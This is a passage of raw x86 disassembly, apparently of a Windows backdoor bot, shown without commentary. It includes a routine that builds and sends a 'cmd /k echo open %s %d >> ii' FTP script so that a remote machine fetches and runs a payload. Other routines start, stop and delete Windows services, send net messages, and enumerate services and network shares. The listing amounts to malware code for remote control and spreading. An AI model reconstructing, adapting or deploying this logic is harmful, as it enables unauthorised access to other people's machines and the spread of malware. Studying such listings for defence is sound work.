		call	sub_40AB6A
		pop	ecx
		push	eax
		push	offset aCmdKEchoOpen_0 ; "cmd /k echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_41C030
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	ebx
		push	eax
		call	sub_41B890
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	edi
		call	dword_4D1240	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_418E1F


loc_418E1B:				; CODE XREF: sub_418D50+50j
					; sub_418D50+62j
		xor	al, al
		jmp	short loc_418E38
; ---------------------------------------------------------------------------


loc_418E1F:				; CODE XREF: sub_418D50+C9j
		push	ebx
		lea	eax, [ebp+var_5A0]
		push	esi
		push	eax
		push	edi
		call	dword_4D1208	; recv
		push	edi
		call	dword_4D1288	; closesocket
		mov	al, 1


loc_418E38:				; CODE XREF: sub_418D50+CDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418D50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418E3D	proc near		; CODE XREF: .nsp0:00407058p

var_1C0		= byte ptr -1C0h
var_15C		= byte ptr -15Ch
var_F8		= byte ptr -0F8h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C0h
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		call	dword_4270C8	; GetVersionExA
		cmp	[ebp+var_90], 4
		jnz	short loc_418E93
		cmp	[ebp+var_8C], 0
		jnz	short loc_418E7C
		push	1
		pop	eax
		cmp	[ebp+var_84], eax
		jnz	short loc_418E93
		leave
		retn
; ---------------------------------------------------------------------------


loc_418E7C:				; CODE XREF: sub_418E3D+30j
		cmp	[ebp+var_8C], 0Ah
		jz	short loc_418E8E
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_418E93


loc_418E8E:				; CODE XREF: sub_418E3D+46j
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_418E93:				; CODE XREF: sub_418E3D+27j
					; sub_418E3D+3Bj ...
		push	esi
		push	edi
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	dword_4270B8	; LoadLibraryA
		mov	esi, eax
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	esi
		call	dword_4270BC
		push	32h
		mov	edi, eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_41DF04
		push	32h
		lea	eax, [ebp+var_15C]
		push	[ebp+arg_4]
		push	eax
		call	sub_41DF04
		push	32h
		lea	eax, [ebp+var_F8]
		push	[ebp+arg_8]
		push	eax
		call	sub_41DF04
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_41DEE7
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_1C0]
		push	eax
		push	0
		call	edi	; GetProcessHeap
		add	esp, 3Ch
		mov	edi, eax
		push	esi
		call	near ptr 0B40000h
		push	edx
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_418E3D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418F1D	proc near		; CODE XREF: sub_401135+F7p
					; sub_40123E+Ap ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		call	dword_4270A8	; GetTickCount
		push	eax
		call	sub_41BF88
		pop	ecx
		call	sub_41BF92
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_427700
		call	sub_41CE38
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418F1D	endp


; =============== S U B	R O U T	I N E =======================================



sub_418F5A	proc near		; CODE XREF: .nsp0:loc_405FC9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_418FBF
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_440C50[esi]
		push	edi
		push	eax
		call	sub_418FE1
		add	esp, 14h
		test	eax, eax
		jnz	short loc_418FA2
		push	edi
		push	off_440C4C[esi]
		mov	esi, offset dword_4E1270
		push	offset unk_440D60
		push	esi
		call	sub_41BF36
		add	esp, 10h
		jmp	short loc_418FDC
; ---------------------------------------------------------------------------


loc_418FA2:				; CODE XREF: sub_418F5A+2Aj
		push	eax
		call	sub_419083
		push	eax
		push	edi
		mov	esi, offset dword_4E1270
		push	offset unk_440D34
		push	esi
		call	sub_41BF36
		add	esp, 14h
		jmp	short loc_418FDC
; ---------------------------------------------------------------------------


loc_418FBF:				; CODE XREF: sub_418F5A+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_4E1270
		push	off_440C48[eax*4]
		push	offset unk_440D10
		push	esi
		call	sub_41BF36
		add	esp, 0Ch


loc_418FDC:				; CODE XREF: sub_418F5A+46j
					; sub_418F5A+63j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_418F5A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418FE1	proc near		; CODE XREF: sub_418F5A+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_4D11E4	; OpenSCManagerA
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_419008
		call	dword_42708C	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_41907D
; ---------------------------------------------------------------------------


loc_419008:				; CODE XREF: sub_418FE1+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_4D10CC	; OpenServiceA
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_419028
		call	dword_42708C	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_419075
; ---------------------------------------------------------------------------


loc_419028:				; CODE XREF: sub_418FE1+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_41905B
		cmp	eax, 3
		jz	short loc_41904C
		jle	short loc_41906E
		cmp	eax, 6
		jg	short loc_41906E
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_4D1138	; ControlService
		jmp	short loc_419062
; ---------------------------------------------------------------------------


loc_41904C:				; CODE XREF: sub_418FE1+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_4D10D4	; StartServiceA
		jmp	short loc_419062
; ---------------------------------------------------------------------------


loc_41905B:				; CODE XREF: sub_418FE1+4Dj
		push	esi
		call	dword_4D113C	; DeleteService


loc_419062:				; CODE XREF: sub_418FE1+69j
					; sub_418FE1+78j
		test	eax, eax
		jnz	short loc_41906E
		call	dword_42708C	; RtlGetLastWin32Error
		mov	ebx, eax


loc_41906E:				; CODE XREF: sub_418FE1+54j
					; sub_418FE1+59j ...
		push	esi
		call	dword_4D10E8	; CloseServiceHandle


loc_419075:				; CODE XREF: sub_418FE1+45j
		push	edi
		call	dword_4D10E8	; CloseServiceHandle
		pop	esi


loc_41907D:				; CODE XREF: sub_418FE1+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_418FE1	endp


; =============== S U B	R O U T	I N E =======================================



sub_419083	proc near		; CODE XREF: sub_418F5A+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_419138
		jz	loc_419131
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_4190FB
		jz	short loc_4190F1
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_4190E7
		dec	ecx
		dec	ecx
		jz	short loc_4190DD
		dec	ecx
		jz	short loc_4190D3
		sub	ecx, 51h
		jz	short loc_4190C9
		sub	ecx, 24h
		jnz	loc_4191AE	; default
					; jumptable 00419155 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_4191A0
; ---------------------------------------------------------------------------


loc_4190C9:				; CODE XREF: sub_419083+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_4191A0
; ---------------------------------------------------------------------------


loc_4190D3:				; CODE XREF: sub_419083+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_4191A0
; ---------------------------------------------------------------------------


loc_4190DD:				; CODE XREF: sub_419083+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_4191A0
; ---------------------------------------------------------------------------


loc_4190E7:				; CODE XREF: sub_419083+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_4191A0
; ---------------------------------------------------------------------------


loc_4190F1:				; CODE XREF: sub_419083+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_4191A0
; ---------------------------------------------------------------------------


loc_4190FB:				; CODE XREF: sub_419083+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_41912A
		dec	ecx
		jz	short loc_419123
		dec	ecx
		jz	short loc_41911C
		dec	ecx
		jnz	loc_4191AE	; default
					; jumptable 00419155 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_4191A0
; ---------------------------------------------------------------------------


loc_41911C:				; CODE XREF: sub_419083+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_4191A0
; ---------------------------------------------------------------------------


loc_419123:				; CODE XREF: sub_419083+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_4191A0
; ---------------------------------------------------------------------------


loc_41912A:				; CODE XREF: sub_419083+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_4191A0
; ---------------------------------------------------------------------------


loc_419131:				; CODE XREF: sub_419083+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_4191A0
; ---------------------------------------------------------------------------


loc_419138:				; CODE XREF: sub_419083+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_4191AE ; default
					; jumptable 00419155 cases 1,5,6,8,9,12,13,15,16
		jz	short loc_41919B
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_4191AE ; default
					; jumptable 00419155 cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, byte_4191EF[ecx]
		jmp	off_4191C7[ecx*4] ; switch jump


loc_41915C:				; DATA XREF: .nsp0:off_4191C7o
		push	offset aTheSpecifiedDa ; jumptable 00419155 case 7
		jmp	short loc_4191A0
; ---------------------------------------------------------------------------


loc_419163:				; CODE XREF: sub_419083+D2j
					; DATA XREF: .nsp0:off_4191C7o
		push	offset aTheServiceDepe ; jumptable 00419155 case 17
		jmp	short loc_4191A0
; ---------------------------------------------------------------------------


loc_41916A:				; CODE XREF: sub_419083+D2j
					; DATA XREF: .nsp0:off_4191C7o
		push	offset aTheServiceDe_0 ; jumptable 00419155 case 10
		jmp	short loc_4191A0
; ---------------------------------------------------------------------------


loc_419171:				; CODE XREF: sub_419083+D2j
					; DATA XREF: .nsp0:off_4191C7o
		push	offset aTheServiceHasB ; jumptable 00419155 case 0
		jmp	short loc_4191A0
; ---------------------------------------------------------------------------


loc_419178:				; CODE XREF: sub_419083+D2j
					; DATA XREF: .nsp0:off_4191C7o
		push	offset aTheSpecified_0 ; jumptable 00419155 case 2
		jmp	short loc_4191A0
; ---------------------------------------------------------------------------


loc_41917F:				; CODE XREF: sub_419083+D2j
					; DATA XREF: .nsp0:off_4191C7o
		push	offset aTheServiceCoul ; jumptable 00419155 case 11
		jmp	short loc_4191A0
; ---------------------------------------------------------------------------


loc_419186:				; CODE XREF: sub_419083+D2j
					; DATA XREF: .nsp0:off_4191C7o
		push	offset aTheServiceHa_0 ; jumptable 00419155 case 14
		jmp	short loc_4191A0
; ---------------------------------------------------------------------------


loc_41918D:				; CODE XREF: sub_419083+D2j
					; DATA XREF: .nsp0:off_4191C7o
		push	offset aTheRequested_1 ; jumptable 00419155 case 3
		jmp	short loc_4191A0
; ---------------------------------------------------------------------------


loc_419194:				; CODE XREF: sub_419083+D2j
					; DATA XREF: .nsp0:off_4191C7o
		push	offset aTheServiceHasN ; jumptable 00419155 case 4
		jmp	short loc_4191A0
; ---------------------------------------------------------------------------


loc_41919B:				; CODE XREF: sub_419083+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."


loc_4191A0:				; CODE XREF: sub_419083+41j
					; sub_419083+4Bj ...
		push	offset dword_4E0BB0
		call	sub_41BF36
		pop	ecx
		pop	ecx
		jmp	short loc_4191C1
; ---------------------------------------------------------------------------


loc_4191AE:				; CODE XREF: sub_419083+36j
					; sub_419083+89j ...
		push	eax		; default
					; jumptable 00419155 cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownError ; "An unknown error occurred: <%ld>"
		push	offset dword_4E0BB0
		call	sub_41BF36
		add	esp, 0Ch


loc_4191C1:				; CODE XREF: sub_419083+129j
		mov	eax, offset dword_4E0BB0
		retn
sub_419083	endp

; ---------------------------------------------------------------------------
off_4191C7	dd offset loc_419171	; DATA XREF: sub_419083+D2r
		dd offset loc_419178	; jump table for switch	statement
		dd offset loc_41918D
		dd offset loc_419194
		dd offset loc_41915C
		dd offset loc_41916A
		dd offset loc_41917F
		dd offset loc_419186
		dd offset loc_419163
		dd offset loc_4191AE
byte_4191EF	db	0,     9,     1,     2 ; DATA XREF: sub_419083+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419201	proc near		; CODE XREF: .nsp0:00405FF4p

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_4D11E4	; OpenSCManagerA
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 14h


loc_419239:				; CODE XREF: sub_419201+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_4D11B0	; EnumServicesStatusA
		test	eax, eax
		jnz	short loc_419273
		call	dword_42708C	; RtlGetLastWin32Error
		cmp	eax, 0EAh
		jnz	loc_419327


loc_419273:				; CODE XREF: sub_419201+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_41931E
		lea	esi, [ebp+var_188]


loc_419284:				; CODE XREF: sub_419201+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_4192CD
		dec	eax
		jz	short loc_4192C6
		dec	eax
		jz	short loc_4192BF
		dec	eax
		jz	short loc_4192B8
		dec	eax
		jz	short loc_4192B1
		dec	eax
		jz	short loc_4192AA
		dec	eax
		jz	short loc_4192A3
		push	offset aUnknown_1 ; "	 Unknown"
		jmp	short loc_4192D2
; ---------------------------------------------------------------------------


loc_4192A3:				; CODE XREF: sub_419201+99j
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_4192D2
; ---------------------------------------------------------------------------


loc_4192AA:				; CODE XREF: sub_419201+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_4192D2
; ---------------------------------------------------------------------------


loc_4192B1:				; CODE XREF: sub_419201+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_4192D2
; ---------------------------------------------------------------------------


loc_4192B8:				; CODE XREF: sub_419201+90j
		push	offset aRunning_0 ; "	 Running"
		jmp	short loc_4192D2
; ---------------------------------------------------------------------------


loc_4192BF:				; CODE XREF: sub_419201+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_4192D2
; ---------------------------------------------------------------------------


loc_4192C6:				; CODE XREF: sub_419201+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_4192D2
; ---------------------------------------------------------------------------


loc_4192CD:				; CODE XREF: sub_419201+87j
		push	offset aStopped	; "    Stopped"


loc_4192D2:				; CODE XREF: sub_419201+A0j
					; sub_419201+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41BF36
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_41BF36
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_419284


loc_41931E:				; CODE XREF: sub_419201+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_419239


loc_419327:				; CODE XREF: sub_419201+6Cj
		push	[ebp+var_C]
		call	dword_4D10E8	; CloseServiceHandle
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_419201	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41933E	proc near		; CODE XREF: .nsp0:loc_4060B0p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_4193D7
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_419367
		dec	eax
		jnz	short loc_4193B7
		push	edi
		push	0
		call	sub_419510
		pop	ecx
		pop	ecx
		jmp	short loc_4193B3
; ---------------------------------------------------------------------------


loc_419367:				; CODE XREF: sub_41933E+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_4193A5
		push	24h
		push	edi
		call	sub_41C650
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4193A5
		push	57h
		pop	eax


loc_41937E:				; CODE XREF: sub_41933E+77j
		push	eax
		call	sub_419CE8
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4E0E6C
		push	off_440C48[eax*4]
		push	offset unk_4412F4
		push	esi
		call	sub_41BF36
		add	esp, 18h
		jmp	short loc_4193F7
; ---------------------------------------------------------------------------


loc_4193A5:				; CODE XREF: sub_41933E+2Dj
					; sub_41933E+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_419464
		add	esp, 0Ch


loc_4193B3:				; CODE XREF: sub_41933E+27j
		test	eax, eax
		jnz	short loc_41937E


loc_4193B7:				; CODE XREF: sub_41933E+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4E0E6C
		push	off_440C4C[eax*4]
		push	offset dword_4412D8
		push	esi
		call	sub_41BF36
		add	esp, 10h
		jmp	short loc_4193F7
; ---------------------------------------------------------------------------


loc_4193D7:				; CODE XREF: sub_41933E+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4E0E6C
		lea	eax, [eax+eax*2]
		push	off_440C48[eax*4]
		push	offset unk_4412B4
		push	esi
		call	sub_41BF36
		add	esp, 0Ch


loc_4193F7:				; CODE XREF: sub_41933E+65j
					; sub_41933E+97j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41933E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4193FD	proc near		; CODE XREF: sub_41A702+245p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_41940A
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41940A:				; CODE XREF: sub_4193FD+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, dword_427180
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi ; dword_427180
		test	byte_4E106C, 1
		mov	ebp, eax
		jnz	short loc_419447
		or	byte_4E106C, 1
		lea	eax, [ebp+1]
		push	eax
		call	sub_41D665
		pop	ecx
		mov	dword_4E0E0C, eax


loc_419447:				; CODE XREF: sub_4193FD+32j
		push	esi
		push	esi
		push	ebp
		push	dword_4E0E0C
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi ; dword_427180
		mov	eax, dword_4E0E0C
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_4193FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419464	proc near		; CODE XREF: sub_41933E+6Dp
					; sub_41AA26+18Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_4194CF
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_4194CF
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_41C650
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_4194CF
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_4D10E4
		pop	edi
		leave
		retn
sub_419464	endp


; =============== S U B	R O U T	I N E =======================================



sub_4194CF	proc near		; CODE XREF: sub_419464+Ap
					; sub_419464+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_4194DC
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4194DC:				; CODE XREF: sub_4194CF+9j
		push	ebx
		push	esi
		mov	esi, dword_427184
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi ; dword_427184
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_41D665
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi ; dword_427184
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4194CF	endp


; =============== S U B	R O U T	I N E =======================================



sub_419510	proc near		; CODE XREF: sub_41933E+20p
					; sub_41A702+1BBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_4194CF
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_4194CF
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_4D10BC
		pop	esi
		retn
sub_419510	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419533	proc near		; CODE XREF: .nsp0:004060DCp

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_4194CF
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 18h


loc_41956C:				; CODE XREF: sub_419533+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_4D1134
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_4195CF
		cmp	ebx, 0EAh
		jz	short loc_4195CF
		push	ebx
		push	ebx
		call	sub_419CE8
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset unk_441340
		push	eax
		call	sub_41BF36
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 24h
		jmp	short loc_41963C
; ---------------------------------------------------------------------------


loc_4195CF:				; CODE XREF: sub_419533+5Dj
					; sub_419533+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_419633
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]


loc_4195DD:				; CODE XREF: sub_419533+FCj
		push	dword ptr [esi+10h]
		call	dword_4D10D8	; IsValidSecurityDescriptor
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_4195F4
		mov	eax, offset aNo	; "No"


loc_4195F4:				; CODE XREF: sub_419533+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_41BF36
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_4195DD
		xor	esi, esi


loc_419633:				; CODE XREF: sub_419533+A2j
		push	[ebp+var_4]
		call	dword_4D1280


loc_41963C:				; CODE XREF: sub_419533+9Aj
		cmp	ebx, 0EAh
		jz	loc_41956C
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_419533	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419654	proc near		; CODE XREF: .nsp0:loc_406151p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_4196F8
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_419696
		dec	eax
		jz	short loc_41968B
		dec	eax
		jnz	short loc_4196B1
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_41979A
		add	esp, 14h
		jmp	short loc_4196AD
; ---------------------------------------------------------------------------


loc_41968B:				; CODE XREF: sub_419654+1Dj
		push	ebx
		push	edi
		call	sub_419779
		pop	ecx
		pop	ecx
		jmp	short loc_4196AD
; ---------------------------------------------------------------------------


loc_419696:				; CODE XREF: sub_419654+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_4196AA
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_41971F
		add	esp, 0Ch
		jmp	short loc_4196AD
; ---------------------------------------------------------------------------


loc_4196AA:				; CODE XREF: sub_419654+45j
		push	57h
		pop	eax


loc_4196AD:				; CODE XREF: sub_419654+35j
					; sub_419654+40j ...
		cmp	eax, edi
		jnz	short loc_4196D1


loc_4196B1:				; CODE XREF: sub_419654+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4E1070
		push	off_440C4C[eax*4]
		push	offset unk_4413F8
		push	esi
		call	sub_41BF36
		add	esp, 10h
		jmp	short loc_419718
; ---------------------------------------------------------------------------


